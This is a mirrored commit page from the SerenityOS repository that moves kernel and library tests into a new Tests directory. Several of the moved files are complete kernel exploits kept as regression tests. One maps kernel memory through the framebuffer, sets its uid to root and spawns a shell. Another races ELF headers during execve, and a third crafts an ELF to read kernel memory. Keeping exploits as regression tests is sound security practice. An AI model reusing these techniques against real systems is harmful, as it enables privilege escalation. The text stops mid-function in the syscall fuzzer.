mirror of
https://github.com/RGBCube/serenity
synced 2025-07-27 12:57:35 +00:00
Tests: Establish root Tests directory, move Userland/Tests there
With the goal of centralizing all tests in the system, this is a first step to establish a Tests sub-tree. It will contain all of the unit tests and test harnesses for the various components in the system.
This commit is contained in:
parent
6e641fadfa
commit
fd0dbd1ebf
49 changed files with 1 additions and 1 deletions
6
Tests/CMakeLists.txt
Normal file
6
Tests/CMakeLists.txt
Normal file
|
@ -0,0 +1,6 @@
|
|||
add_subdirectory(Kernel)
|
||||
add_subdirectory(LibC)
|
||||
add_subdirectory(LibGfx)
|
||||
add_subdirectory(LibM)
|
||||
add_subdirectory(LibPthread)
|
||||
add_subdirectory(UserspaceEmulator)
|
24
Tests/Kernel/CMakeLists.txt
Normal file
24
Tests/Kernel/CMakeLists.txt
Normal file
|
@ -0,0 +1,24 @@
|
|||
file(GLOB CMD_SOURCES CONFIGURE_DEPENDS "*.cpp")
|
||||
file(GLOB LIBTEST_BASED_SOURCES "Test*.cpp")
|
||||
list(REMOVE_ITEM CMD_SOURCES ${LIBTEST_BASED_SOURCES})
|
||||
|
||||
# FIXME: These tests do not use LibTest
|
||||
foreach(CMD_SRC ${CMD_SOURCES})
|
||||
get_filename_component(CMD_NAME ${CMD_SRC} NAME_WE)
|
||||
add_executable(${CMD_NAME} ${CMD_SRC})
|
||||
target_link_libraries(${CMD_NAME} LibCore)
|
||||
install(TARGETS ${CMD_NAME} RUNTIME DESTINATION usr/Tests/Kernel)
|
||||
endforeach()
|
||||
|
||||
|
||||
foreach(TEST_SRC ${LIBTEST_BASED_SOURCES})
|
||||
serenity_test(${TEST_SRC} Kernel)
|
||||
endforeach()
|
||||
|
||||
target_link_libraries(elf-execve-mmap-race LibPthread)
|
||||
target_link_libraries(kill-pidtid-confusion LibPthread)
|
||||
target_link_libraries(nanosleep-race-outbuf-munmap LibPthread)
|
||||
target_link_libraries(null-deref-close-during-select LibPthread)
|
||||
target_link_libraries(null-deref-crash-during-pthread_join LibPthread)
|
||||
target_link_libraries(uaf-close-while-blocked-in-read LibPthread)
|
||||
target_link_libraries(pthread-cond-timedwait-example LibPthread)
|
100
Tests/Kernel/TestKernelFilePermissions.cpp
Normal file
100
Tests/Kernel/TestKernelFilePermissions.cpp
Normal file
|
@ -0,0 +1,100 @@
|
|||
/*
|
||||
* Copyright (c) 2020-2021, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/String.h>
|
||||
#include <LibCore/File.h>
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/types.h>
|
||||
#include <unistd.h>
|
||||
|
||||
TEST_CASE(test_change_file_contents)
|
||||
{
|
||||
char path[] = "/tmp/suid.XXXXXX";
|
||||
auto fd = mkstemp(path);
|
||||
EXPECT(fd != -1);
|
||||
ftruncate(fd, 0);
|
||||
EXPECT(fchmod(fd, 06755) != -1);
|
||||
|
||||
char buffer[8] {};
|
||||
write(fd, buffer, sizeof(buffer));
|
||||
|
||||
struct stat s;
|
||||
EXPECT(fstat(fd, &s) != -1);
|
||||
close(fd);
|
||||
unlink(path);
|
||||
|
||||
EXPECT(!(s.st_mode & S_ISUID));
|
||||
EXPECT(!(s.st_mode & S_ISGID));
|
||||
}
|
||||
|
||||
TEST_CASE(test_change_file_ownership)
|
||||
{
|
||||
char path[] = "/tmp/suid.XXXXXX";
|
||||
auto fd = mkstemp(path);
|
||||
EXPECT(fd != -1);
|
||||
ftruncate(fd, 0);
|
||||
EXPECT(fchmod(fd, 06755) != -1);
|
||||
|
||||
fchown(fd, getuid(), getgid());
|
||||
|
||||
struct stat s;
|
||||
EXPECT(fstat(fd, &s) != -1);
|
||||
close(fd);
|
||||
unlink(path);
|
||||
|
||||
EXPECT(!(s.st_mode & S_ISUID));
|
||||
EXPECT(!(s.st_mode & S_ISGID));
|
||||
}
|
||||
|
||||
TEST_CASE(test_change_file_permissions)
|
||||
{
|
||||
char path[] = "/tmp/suid.XXXXXX";
|
||||
auto fd = mkstemp(path);
|
||||
EXPECT(fd != -1);
|
||||
ftruncate(fd, 0);
|
||||
EXPECT(fchmod(fd, 06755) != -1);
|
||||
|
||||
fchmod(fd, 0755);
|
||||
|
||||
struct stat s;
|
||||
EXPECT(fstat(fd, &s) != -1);
|
||||
close(fd);
|
||||
unlink(path);
|
||||
|
||||
EXPECT(!(s.st_mode & S_ISUID));
|
||||
EXPECT(!(s.st_mode & S_ISGID));
|
||||
}
|
||||
|
||||
TEST_CASE(test_change_file_location)
|
||||
{
|
||||
char path[] = "/tmp/suid.XXXXXX";
|
||||
auto fd = mkstemp(path);
|
||||
EXPECT(fd != -1);
|
||||
ftruncate(fd, 0);
|
||||
EXPECT(fchmod(fd, 06755) != -1);
|
||||
|
||||
auto suid_path = Core::File::read_link(String::formatted("/proc/{}/fd/{}", getpid(), fd));
|
||||
EXPECT(suid_path.characters());
|
||||
auto new_path = String::formatted("{}.renamed", suid_path);
|
||||
|
||||
rename(suid_path.characters(), new_path.characters());
|
||||
|
||||
struct stat s;
|
||||
EXPECT(lstat(new_path.characters(), &s) != -1);
|
||||
close(fd);
|
||||
unlink(path);
|
||||
|
||||
// Renamed file should retain set-uid/set-gid permissions
|
||||
EXPECT(s.st_mode & S_ISUID);
|
||||
EXPECT(s.st_mode & S_ISGID);
|
||||
|
||||
unlink(new_path.characters());
|
||||
}
|
30
Tests/Kernel/TestKernelPledge.cpp
Normal file
30
Tests/Kernel/TestKernelPledge.cpp
Normal file
|
@ -0,0 +1,30 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2021, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <unistd.h>
|
||||
|
||||
TEST_CASE(test_nonexistent_pledge)
|
||||
{
|
||||
auto res = pledge("testing123", "notthere");
|
||||
if (res >= 0)
|
||||
FAIL("Pledging on existent promises should fail.");
|
||||
}
|
||||
|
||||
TEST_CASE(test_pledge_failures)
|
||||
{
|
||||
auto res = pledge("stdio unix rpath", "stdio");
|
||||
if (res < 0)
|
||||
FAIL("Initial pledge is expected to work.");
|
||||
|
||||
res = pledge("stdio unix", "stdio unix");
|
||||
if (res >= 0)
|
||||
FAIL("Additional execpromise \"unix\" should have failed");
|
||||
|
||||
res = pledge("stdio", "stdio");
|
||||
if (res < 0)
|
||||
FAIL("Reducing promises is expected to work.");
|
||||
}
|
55
Tests/Kernel/TestKernelUnveil.cpp
Normal file
55
Tests/Kernel/TestKernelUnveil.cpp
Normal file
|
@ -0,0 +1,55 @@
|
|||
/*
|
||||
* Copyright (c) 2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <unistd.h>
|
||||
|
||||
TEST_CASE(test_failures)
|
||||
{
|
||||
auto res = unveil("/etc", "r");
|
||||
if (res < 0)
|
||||
FAIL("unveil read only failed");
|
||||
|
||||
res = unveil("/etc", "w");
|
||||
if (res >= 0)
|
||||
FAIL("unveil write permitted after unveil read only");
|
||||
|
||||
res = unveil("/etc", "x");
|
||||
if (res >= 0)
|
||||
FAIL("unveil execute permitted after unveil read only");
|
||||
|
||||
res = unveil("/etc", "c");
|
||||
if (res >= 0)
|
||||
FAIL("unveil create permitted after unveil read only");
|
||||
|
||||
res = unveil("/tmp/doesnotexist", "c");
|
||||
if (res < 0)
|
||||
FAIL("unveil create on non-existent path failed");
|
||||
|
||||
res = unveil("/home", "b");
|
||||
if (res < 0)
|
||||
FAIL("unveil browse failed");
|
||||
|
||||
res = unveil("/home", "w");
|
||||
if (res >= 0)
|
||||
FAIL("unveil write permitted after unveil browse only");
|
||||
|
||||
res = unveil("/home", "x");
|
||||
if (res >= 0)
|
||||
FAIL("unveil execute permitted after unveil browse only");
|
||||
|
||||
res = unveil("/home", "c");
|
||||
if (res >= 0)
|
||||
FAIL("unveil create permitted after unveil browse only");
|
||||
|
||||
res = unveil(nullptr, nullptr);
|
||||
if (res < 0)
|
||||
FAIL("unveil state lock failed");
|
||||
|
||||
res = unveil("/bin", "w");
|
||||
if (res >= 0)
|
||||
FAIL("unveil permitted after unveil state locked");
|
||||
}
|
40
Tests/Kernel/bind-local-socket-to-symlink.cpp
Normal file
40
Tests/Kernel/bind-local-socket-to-symlink.cpp
Normal file
|
@ -0,0 +1,40 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Assertions.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <sys/socket.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(int, char**)
|
||||
{
|
||||
constexpr const char* path = "/tmp/foo";
|
||||
int rc = symlink("bar", path);
|
||||
if (rc < 0) {
|
||||
perror("symlink");
|
||||
return 1;
|
||||
}
|
||||
|
||||
int fd = socket(AF_UNIX, SOCK_STREAM, 0);
|
||||
if (fd < 0) {
|
||||
perror("socket");
|
||||
return 1;
|
||||
}
|
||||
|
||||
struct sockaddr_un addr;
|
||||
memset(&addr, 0, sizeof(addr));
|
||||
addr.sun_family = AF_UNIX;
|
||||
VERIFY(strlcpy(addr.sun_path, path, sizeof(addr.sun_path)) < sizeof(addr.sun_path));
|
||||
|
||||
rc = bind(fd, (struct sockaddr*)(&addr), sizeof(addr));
|
||||
if (rc < 0 && errno == EADDRINUSE) {
|
||||
printf("PASS\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
98
Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp
Normal file
98
Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp
Normal file
|
@ -0,0 +1,98 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Types.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/mman.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
int fd = open("/dev/fb0", O_RDWR);
|
||||
if (fd < 0) {
|
||||
perror("open");
|
||||
return 1;
|
||||
}
|
||||
|
||||
size_t width = 17825;
|
||||
size_t height = 1000;
|
||||
size_t pitch = width * 4;
|
||||
size_t framebuffer_size_in_bytes = pitch * height * 2;
|
||||
|
||||
FBResolution original_resolution;
|
||||
if (ioctl(fd, FB_IOCTL_GET_RESOLUTION, &original_resolution) < 0) {
|
||||
perror("ioctl");
|
||||
return 1;
|
||||
}
|
||||
|
||||
FBResolution resolution;
|
||||
resolution.width = width;
|
||||
resolution.height = height;
|
||||
resolution.pitch = pitch;
|
||||
|
||||
if (ioctl(fd, FB_IOCTL_SET_RESOLUTION, &resolution) < 0) {
|
||||
perror("ioctl");
|
||||
return 1;
|
||||
}
|
||||
|
||||
auto* ptr = (u8*)mmap(nullptr, framebuffer_size_in_bytes, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FILE, fd, 0);
|
||||
if (ptr == MAP_FAILED) {
|
||||
perror("mmap");
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("Success! Evil pointer: %p\n", ptr);
|
||||
|
||||
u8* base = &ptr[128 * MiB];
|
||||
|
||||
uintptr_t g_processes = *(uintptr_t*)&base[0x1b51c4];
|
||||
printf("base = %p\n", base);
|
||||
printf("g_processes = %p\n", (void*)g_processes);
|
||||
|
||||
auto get_ptr = [&](uintptr_t value) -> void* {
|
||||
value -= 0xc0000000;
|
||||
return (void*)&base[value];
|
||||
};
|
||||
|
||||
struct ProcessList {
|
||||
uintptr_t head;
|
||||
uintptr_t tail;
|
||||
};
|
||||
|
||||
struct Process {
|
||||
// 32 next
|
||||
// 40 pid
|
||||
// 44 uid
|
||||
u8 dummy[32];
|
||||
uintptr_t next;
|
||||
u8 dummy2[4];
|
||||
pid_t pid;
|
||||
uid_t uid;
|
||||
};
|
||||
|
||||
ProcessList* process_list = (ProcessList*)get_ptr(g_processes);
|
||||
|
||||
Process* process = (Process*)get_ptr(process_list->head);
|
||||
|
||||
printf("{%p} PID: %d, UID: %d, next: %p\n", process, process->pid, process->uid, (void*)process->next);
|
||||
|
||||
if (process->pid == getpid()) {
|
||||
printf("That's me! Let's become r00t!\n");
|
||||
process->uid = 0;
|
||||
}
|
||||
|
||||
if (ioctl(fd, FB_IOCTL_SET_RESOLUTION, &original_resolution) < 0) {
|
||||
perror("ioctl");
|
||||
return 1;
|
||||
}
|
||||
|
||||
execl("/bin/sh", "sh", nullptr);
|
||||
|
||||
return 0;
|
||||
}
|
26
Tests/Kernel/crash-fcntl-invalid-cmd.cpp
Normal file
26
Tests/Kernel/crash-fcntl-invalid-cmd.cpp
Normal file
|
@ -0,0 +1,26 @@
|
|||
/*
|
||||
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <assert.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(int, char**)
|
||||
{
|
||||
int rc = fcntl(0, -42);
|
||||
if (rc != -1) {
|
||||
printf("FAIL: rc was %d, instead of -1\n", rc);
|
||||
return 1;
|
||||
} else if (errno != EINVAL) {
|
||||
printf("FAIL: errno was %d, instead of EINVAL=%d\n", errno, EINVAL);
|
||||
return 1;
|
||||
} else {
|
||||
printf("PASS\n");
|
||||
}
|
||||
return 0;
|
||||
}
|
143
Tests/Kernel/elf-execve-mmap-race.cpp
Normal file
143
Tests/Kernel/elf-execve-mmap-race.cpp
Normal file
|
@ -0,0 +1,143 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Types.h>
|
||||
#include <elf.h>
|
||||
#include <fcntl.h>
|
||||
#include <pthread.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
volatile bool hax = false;
|
||||
|
||||
int main()
|
||||
{
|
||||
char buffer[16384];
|
||||
|
||||
auto& header = *(Elf32_Ehdr*)buffer;
|
||||
header.e_ident[EI_MAG0] = ELFMAG0;
|
||||
header.e_ident[EI_MAG1] = ELFMAG1;
|
||||
header.e_ident[EI_MAG2] = ELFMAG2;
|
||||
header.e_ident[EI_MAG3] = ELFMAG3;
|
||||
header.e_ident[EI_CLASS] = ELFCLASS32;
|
||||
header.e_ident[EI_DATA] = ELFDATA2LSB;
|
||||
header.e_ident[EI_VERSION] = EV_CURRENT;
|
||||
header.e_ident[EI_OSABI] = ELFOSABI_SYSV;
|
||||
header.e_ident[EI_ABIVERSION] = 0;
|
||||
header.e_type = ET_EXEC;
|
||||
header.e_version = EV_CURRENT;
|
||||
header.e_ehsize = sizeof(Elf32_Ehdr);
|
||||
header.e_machine = EM_386;
|
||||
header.e_shentsize = sizeof(Elf32_Shdr);
|
||||
|
||||
header.e_phnum = 1;
|
||||
header.e_phoff = 52;
|
||||
header.e_phentsize = sizeof(Elf32_Phdr);
|
||||
|
||||
auto* ph = (Elf32_Phdr*)(&buffer[header.e_phoff]);
|
||||
ph[0].p_vaddr = 0x20000000;
|
||||
ph[0].p_type = PT_LOAD;
|
||||
ph[0].p_filesz = sizeof(buffer);
|
||||
ph[0].p_memsz = sizeof(buffer);
|
||||
ph[0].p_flags = PF_R | PF_W;
|
||||
ph[0].p_align = PAGE_SIZE;
|
||||
|
||||
header.e_shnum = 3;
|
||||
header.e_shoff = 1024;
|
||||
|
||||
u32 secret_address = 0x00184658;
|
||||
|
||||
auto* sh = (Elf32_Shdr*)(&buffer[header.e_shoff]);
|
||||
sh[0].sh_type = SHT_SYMTAB;
|
||||
sh[0].sh_offset = 2048;
|
||||
sh[0].sh_entsize = sizeof(Elf32_Sym);
|
||||
sh[0].sh_size = 1 * sizeof(Elf32_Sym);
|
||||
|
||||
sh[1].sh_type = SHT_STRTAB;
|
||||
sh[1].sh_offset = secret_address - 0x01001000;
|
||||
sh[1].sh_entsize = 0;
|
||||
sh[1].sh_size = 1024;
|
||||
|
||||
sh[2].sh_type = SHT_STRTAB;
|
||||
sh[2].sh_offset = 4096;
|
||||
sh[2].sh_entsize = 0;
|
||||
sh[2].sh_size = 1024;
|
||||
header.e_shstrndx = 2;
|
||||
|
||||
auto* sym = (Elf32_Sym*)(&buffer[2048]);
|
||||
sym[0].st_value = 0;
|
||||
sym[0].st_name = 0;
|
||||
|
||||
header.e_entry = 0;
|
||||
|
||||
char path[] = "/tmp/x.XXXXXX";
|
||||
auto fd = mkstemp(path);
|
||||
if (fd < 0) {
|
||||
perror("mkstemp");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (fchmod(fd, 0777) < 0) {
|
||||
perror("chmod");
|
||||
return 1;
|
||||
}
|
||||
|
||||
int nwritten = write(fd, buffer, sizeof(buffer));
|
||||
if (nwritten < 0) {
|
||||
perror("write");
|
||||
return 1;
|
||||
}
|
||||
|
||||
sync();
|
||||
|
||||
auto* mapped = (u8*)mmap(nullptr, sizeof(buffer), PROT_READ | PROT_WRITE, MAP_FILE | MAP_SHARED, fd, 0);
|
||||
if (mapped == MAP_FAILED) {
|
||||
perror("mmap");
|
||||
return 1;
|
||||
}
|
||||
|
||||
auto* writable_program_headers = (Elf32_Phdr*)(&mapped[header.e_phoff]);
|
||||
|
||||
pthread_attr_t attrs;
|
||||
pthread_attr_init(&attrs);
|
||||
sched_param high_prio { 99 };
|
||||
pthread_attr_setschedparam(&attrs, &high_prio);
|
||||
|
||||
pthread_t t;
|
||||
pthread_create(
|
||||
&t, &attrs, [](void* ctx) -> void* {
|
||||
auto& ph = *(volatile Elf32_Phdr*)ctx;
|
||||
for (;;) {
|
||||
if (!hax)
|
||||
ph.p_offset = 0x60000000;
|
||||
else
|
||||
ph.p_offset = 0;
|
||||
hax = !hax;
|
||||
usleep(1);
|
||||
}
|
||||
return nullptr;
|
||||
},
|
||||
&writable_program_headers[0]);
|
||||
|
||||
for (;;) {
|
||||
|
||||
if (!fork()) {
|
||||
try_again:
|
||||
printf("exec\n");
|
||||
execl(path, "x", nullptr);
|
||||
goto try_again;
|
||||
}
|
||||
|
||||
printf("waitpid\n");
|
||||
waitpid(-1, nullptr, 0);
|
||||
}
|
||||
return 0;
|
||||
}
|
115
Tests/Kernel/elf-symbolication-kernel-read-exploit.cpp
Normal file
115
Tests/Kernel/elf-symbolication-kernel-read-exploit.cpp
Normal file
|
@ -0,0 +1,115 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Types.h>
|
||||
#include <elf.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
asm("haxcode:\n"
|
||||
"1: jmp 1b\n"
|
||||
"haxcode_end:\n");
|
||||
|
||||
extern "C" void haxcode();
|
||||
extern "C" void haxcode_end();
|
||||
|
||||
#pragma GCC diagnostic ignored "-Wdeprecated-declarations"
|
||||
|
||||
int main()
|
||||
{
|
||||
char buffer[16384];
|
||||
|
||||
auto& header = *(Elf32_Ehdr*)buffer;
|
||||
header.e_ident[EI_MAG0] = ELFMAG0;
|
||||
header.e_ident[EI_MAG1] = ELFMAG1;
|
||||
header.e_ident[EI_MAG2] = ELFMAG2;
|
||||
header.e_ident[EI_MAG3] = ELFMAG3;
|
||||
header.e_ident[EI_CLASS] = ELFCLASS32;
|
||||
header.e_ident[EI_DATA] = ELFDATA2LSB;
|
||||
header.e_ident[EI_VERSION] = EV_CURRENT;
|
||||
header.e_ident[EI_OSABI] = ELFOSABI_SYSV;
|
||||
header.e_ident[EI_ABIVERSION] = 0;
|
||||
header.e_type = ET_EXEC;
|
||||
header.e_version = EV_CURRENT;
|
||||
header.e_ehsize = sizeof(Elf32_Ehdr);
|
||||
header.e_machine = EM_386;
|
||||
header.e_shentsize = sizeof(Elf32_Shdr);
|
||||
|
||||
header.e_phnum = 1;
|
||||
header.e_phoff = 52;
|
||||
header.e_phentsize = sizeof(Elf32_Phdr);
|
||||
|
||||
auto* ph = (Elf32_Phdr*)(&buffer[header.e_phoff]);
|
||||
ph[0].p_vaddr = 0x20000000;
|
||||
ph[0].p_type = PT_LOAD;
|
||||
ph[0].p_filesz = sizeof(buffer);
|
||||
ph[0].p_memsz = sizeof(buffer);
|
||||
ph[0].p_flags = PF_R | PF_X;
|
||||
ph[0].p_align = PAGE_SIZE;
|
||||
|
||||
header.e_shnum = 3;
|
||||
header.e_shoff = 1024;
|
||||
|
||||
u32 secret_address = 0x00184658;
|
||||
|
||||
auto* sh = (Elf32_Shdr*)(&buffer[header.e_shoff]);
|
||||
sh[0].sh_type = SHT_SYMTAB;
|
||||
sh[0].sh_offset = 2048;
|
||||
sh[0].sh_entsize = sizeof(Elf32_Sym);
|
||||
sh[0].sh_size = 2 * sizeof(Elf32_Sym);
|
||||
|
||||
sh[1].sh_type = SHT_STRTAB;
|
||||
sh[1].sh_offset = secret_address - 0x01001000;
|
||||
sh[1].sh_entsize = 0;
|
||||
sh[1].sh_size = 1024;
|
||||
|
||||
sh[2].sh_type = SHT_STRTAB;
|
||||
sh[2].sh_offset = 4096;
|
||||
sh[2].sh_entsize = 0;
|
||||
sh[2].sh_size = 1024;
|
||||
header.e_shstrndx = 2;
|
||||
|
||||
auto* sym = (Elf32_Sym*)(&buffer[2048]);
|
||||
sym[0].st_value = 0x20002000;
|
||||
sym[0].st_name = 0;
|
||||
|
||||
sym[1].st_value = 0x30000000;
|
||||
sym[1].st_name = 0;
|
||||
|
||||
auto* strtab = (char*)&buffer[3072];
|
||||
strcpy(strtab, "sneaky!");
|
||||
|
||||
auto* shstrtab = (char*)&buffer[4096];
|
||||
strcpy(shstrtab, ".strtab");
|
||||
|
||||
auto* code = &buffer[8192];
|
||||
size_t haxcode_size = (uintptr_t)haxcode_end - (uintptr_t)haxcode;
|
||||
printf("memcpy(%p, %p, %zu)\n", code, haxcode, haxcode_size);
|
||||
memcpy(code, (void*)haxcode, haxcode_size);
|
||||
|
||||
header.e_entry = 0x20000000 + 8192;
|
||||
|
||||
int fd = open("x", O_RDWR | O_CREAT, 0777);
|
||||
if (fd < 0) {
|
||||
perror("open");
|
||||
return 1;
|
||||
}
|
||||
|
||||
auto nwritten = write(fd, buffer, sizeof(buffer));
|
||||
if (nwritten < 0) {
|
||||
perror("write");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (execl("/home/anon/x", "x", nullptr) < 0) {
|
||||
perror("execl");
|
||||
return 1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
167
Tests/Kernel/fuzz-syscalls.cpp
Normal file
167
Tests/Kernel/fuzz-syscalls.cpp
Normal file
|
@ -0,0 +1,167 @@
|
|||
/*
|
||||
* Copyright (c) 2021, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Format.h>
|
||||
#include <AK/String.h>
|
||||
#include <AK/StringBuilder.h>
|
||||
#include <AK/Vector.h>
|
||||
#include <errno.h>
|
||||
#include <mman.h>
|
||||
#include <signal.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <syscall.h>
|
||||
|
||||
static bool is_deadly_syscall(int fn)
|
||||
{
|
||||
return fn == SC_exit || fn == SC_fork || fn == SC_sigreturn || fn == SC_exit_thread;
|
||||
}
|
||||
|
||||
static bool is_unfuzzable_syscall(int fn)
|
||||
{
|
||||
return fn == SC_dump_backtrace || fn == SC_munmap || fn == SC_kill || fn == SC_killpg;
|
||||
}
|
||||
|
||||
static bool is_nosys_syscall(int fn)
|
||||
{
|
||||
return fn == SC_futex || fn == SC_emuctl;
|
||||
}
|
||||
|
||||
static bool is_bad_idea(int fn, const size_t* direct_sc_args, const size_t* fake_sc_params, const char* some_string)
|
||||
{
|
||||
switch (fn) {
|
||||
case SC_mprotect:
|
||||
// This would mess with future tests or crash the fuzzer.
|
||||
return direct_sc_args[0] == (size_t)fake_sc_params || direct_sc_args[0] == (size_t)some_string;
|
||||
case SC_read:
|
||||
case SC_readv:
|
||||
// FIXME: Known bug: https://github.com/SerenityOS/serenity/issues/5328
|
||||
return direct_sc_args[0] == 1;
|
||||
case SC_write:
|
||||
case SC_writev:
|
||||
// FIXME: Known bug: https://github.com/SerenityOS/serenity/issues/5328
|
||||
return direct_sc_args[0] == 0;
|
||||
case SC_pledge:
|
||||
// Equivalent to pledge(nullptr, _), which would kill the fuzzer.
|
||||
return direct_sc_args[0] == (size_t)fake_sc_params && fake_sc_params[1] == 0;
|
||||
default:
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
static void do_systematic_tests()
|
||||
{
|
||||
int rc;
|
||||
|
||||
for (int i = 0; i < Syscall::Function::__Count; ++i) {
|
||||
dbgln("Testing syscall #{} ({})", i, Syscall::to_string((Syscall::Function)i));
|
||||
if (is_deadly_syscall(i)) {
|
||||
dbgln("(skipping deadly syscall)");
|
||||
continue;
|
||||
}
|
||||
// This is pure torture
|
||||
rc = syscall(Syscall::Function(i), 0xc0000001, 0xc0000002, 0xc0000003);
|
||||
VERIFY(rc != -ENOSYS || is_nosys_syscall(i));
|
||||
}
|
||||
|
||||
// Finally, test invalid syscalls:
|
||||
dbgln("Testing syscall #{} (n+1)", (int)Syscall::Function::__Count);
|
||||
rc = syscall(Syscall::Function::__Count, 0xc0000001, 0xc0000002, 0xc0000003);
|
||||
VERIFY(rc == -ENOSYS);
|
||||
dbgln("Testing syscall #-1");
|
||||
rc = syscall(Syscall::Function(-1), 0xc0000001, 0xc0000002, 0xc0000003);
|
||||
VERIFY(rc == -ENOSYS);
|
||||
}
|
||||
|
||||
static void randomize_from(size_t* buffer, size_t len, const Vector<size_t>& values)
|
||||
{
|
||||
for (size_t i = 0; i < len; ++i) {
|
||||
buffer[i] = values[arc4random_uniform(values.size())];
|
||||
}
|
||||
}
|
||||
|
||||
// The largest SC_*_params struct is SC_mmap_params with 36 bytes.
|
||||
static_assert(sizeof(size_t) == 4, "Cannot handle size_t != 4 bytes");
|
||||
static const size_t fake_params_count = 36 / sizeof(size_t);
|
||||
|
||||
static void do_weird_call(size_t attempt, int syscall_fn, size_t arg1, size_t arg2, size_t arg3, size_t* fake_params)
|
||||
{
|
||||
// Report to dbg what we're about to do, in case it's interesting:
|
||||
StringBuilder builder;
|
||||
builder.appendff("#{}: Calling {}({:p}, {:p}, {:p}) with {:p} containing [",
|
||||
attempt, Syscall::to_string((Syscall::Function)syscall_fn), arg1, arg2, arg3, fake_params);
|
||||
for (size_t i = 0; i < fake_params_count; ++i) {
|
||||
if (i != 0)
|
||||
builder.append(", ");
|
||||
builder.appendff("{:p}", fake_params[i]);
|
||||
}
|
||||
builder.append("]");
|
||||
dbgln("{}", builder.build());
|
||||
|
||||
// Actually do the syscall ('fake_params' is passed indirectly, if any of arg1, arg2, or arg3 point to it.
|
||||
int rc = syscall(Syscall::Function(syscall_fn), arg1, arg2, arg3);
|
||||
VERIFY(rc != -ENOSYS || is_nosys_syscall(syscall_fn));
|
||||
}
|
||||
|
||||
static void do_random_tests()
|
||||
{
|
||||
// Make it less likely to kill ourselves due to sys$alarm(1):
|
||||
{
|
||||
struct sigaction act_ignore = { { SIG_IGN }, 0, 0 };
|
||||
int rc = sigaction(SIGALRM, &act_ignore, nullptr);
|
||||
VERIFY(rc == 0);
|
||||
}
|
||||
|
||||
// Note that we will also make lots of syscalls for randomness and debugging.
|
||||
const size_t fuzz_syscall_count = 10000;
|
||||
|
||||
size_t direct_sc_args[3] = { 0 };
|
||||
// Isolate to a separate region to make corruption less likely, because we will write to it:
|
||||
auto* fake_sc_params = reinterpret_cast<size_t*>(mmap(nullptr, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON | MAP_RANDOMIZED, 0, 0));
|
||||
const char* some_string = "Hello, world!";
|
||||
Vector<size_t> interesting_values = {
|
||||
0,
|
||||
1,
|
||||
reinterpret_cast<size_t>(some_string),
|
||||
strlen(some_string),
|
||||
reinterpret_cast<size_t>(fake_sc_params),
|
||||
0xc0000000,
|
||||
0xc0000000 - PAGE_SIZE,
|
||||
0xffffffff,
|
||||
};
|
||||
dbgln("Doing a few random syscalls with:");
|
||||
for (unsigned long& interesting_value : interesting_values) {
|
||||
dbgln(" {0} ({0:p})", interesting_value);
|
||||
}
|
||||
for (size_t i = 0; i < fuzz_syscall_count; ++i) {
|
||||
// Construct a nice syscall:
|
||||
int syscall_fn = arc4random_uniform(Syscall::Function::__Count);
|
||||
randomize_from(direct_sc_args, array_size(direct_sc_args), interesting_values);
|
||||
randomize_from(fake_sc_params, fake_params_count, interesting_values);
|
||||
|
||||
if (is_deadly_syscall(syscall_fn)
|
||||
